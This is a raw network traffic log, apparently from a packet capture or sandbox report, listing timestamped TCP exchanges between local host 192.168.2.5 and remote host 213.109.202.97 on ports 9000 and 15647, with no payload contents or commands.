Oct 19, 2024 03:37:09.418678999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.418711901 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.458808899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.458847046 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.458853960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.458901882 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.458936930 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.458983898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.459777117 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.506654978 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.510001898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510031939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510042906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510072947 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.510092974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510104895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510133982 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.510190964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510200977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510211945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510232925 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.510252953 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.510332108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510343075 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510353088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510379076 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.510442019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510485888 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.510509014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510518074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.510557890 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.511631012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.536747932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.536899090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.536910057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.536920071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.536941051 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.536953926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.536962032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.536966085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.536983967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537008047 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537074089 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537084103 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537095070 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537115097 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537130117 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537229061 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537237883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537246943 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537259102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537297010 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537313938 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537353039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537364006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537406921 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537441969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537452936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537467003 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537492990 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537585974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537607908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537628889 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537662983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537673950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537703037 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537791014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537801027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537810087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537820101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537834883 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537847042 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537910938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537921906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537931919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.537952900 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.537966013 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538042068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538050890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538064957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538105011 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538183928 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538194895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538204908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538214922 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538223982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538225889 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538233995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538255930 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538283110 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538383961 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538394928 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538403988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538428068 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538451910 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538546085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538557053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538566113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538575888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538587093 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538606882 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538635015 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538748980 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538759947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538769960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538790941 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538815022 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538883924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538894892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538904905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538914919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.538943052 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.538964987 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.555161953 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.578788996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.578985929 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.578994989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.579005957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.579031944 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.579052925 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.600424051 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.618746042 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.622354984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.622373104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.622437954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.629970074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630017996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630028009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630058050 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.630069017 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630115032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.630167007 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630177021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630192995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630218983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.630285025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630326986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.630337000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630347967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630357981 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630387068 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.630886078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630917072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630928040 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.630932093 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.630963087 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.656955957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657006025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657016039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657048941 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.657061100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657103062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657107115 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.657135010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657145977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657175064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.657308102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657351017 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.657362938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657373905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657411098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.657445908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657562971 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657572985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657588005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657598019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657602072 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.657628059 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.657674074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657718897 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.657754898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657769918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657776117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657785892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657798052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.657836914 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658010960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658026934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658037901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658049107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658058882 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658060074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658071995 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658103943 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658246994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658257008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658267021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658277988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658287048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658298016 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658298016 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658313036 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658349991 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658484936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658495903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658507109 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658515930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658525944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658534050 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658536911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658565044 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658579111 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658693075 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658704042 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658715010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658725977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658780098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658878088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658889055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658900023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658910036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.658943892 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.658958912 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.659015894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659034967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659080029 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.659204960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659221888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659230947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659241915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659252882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659262896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659261942 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.659276009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659287930 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.659313917 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.659425974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659435987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.659483910 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.664700985 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.709383965 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.709408045 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.709419012 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.709427118 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.709459066 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.709789991 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.726511955 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.740835905 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750264883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750313997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750324965 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750356913 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.750402927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750415087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750444889 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.750485897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750499010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750528097 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.750627995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750639915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750648975 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.750672102 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.750682116 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.750983953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.751038074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.751046896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.751075983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.777075052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777249098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.777275085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777285099 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777296066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777302027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777307034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777312994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777409077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777419090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777429104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777432919 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.777437925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777473927 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.777483940 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.777549028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777559996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777569056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777600050 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.777664900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777676105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777684927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777704954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.777723074 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.777798891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777811050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777820110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777829885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777879953 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.777893066 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.777915955 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.777998924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778011084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778019905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778029919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778050900 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778060913 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778160095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778171062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778181076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778191090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778202057 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778237104 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778310061 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778321028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778330088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778353930 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778382063 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778455019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778465986 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778476000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778486013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778523922 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778543949 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778608084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778619051 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778629065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778640032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778661013 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778678894 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778754950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778846979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778856993 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778872013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778881073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778887987 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778892040 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778902054 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.778911114 CEST	9000	49705	213.109.202.97	192.168.2.5
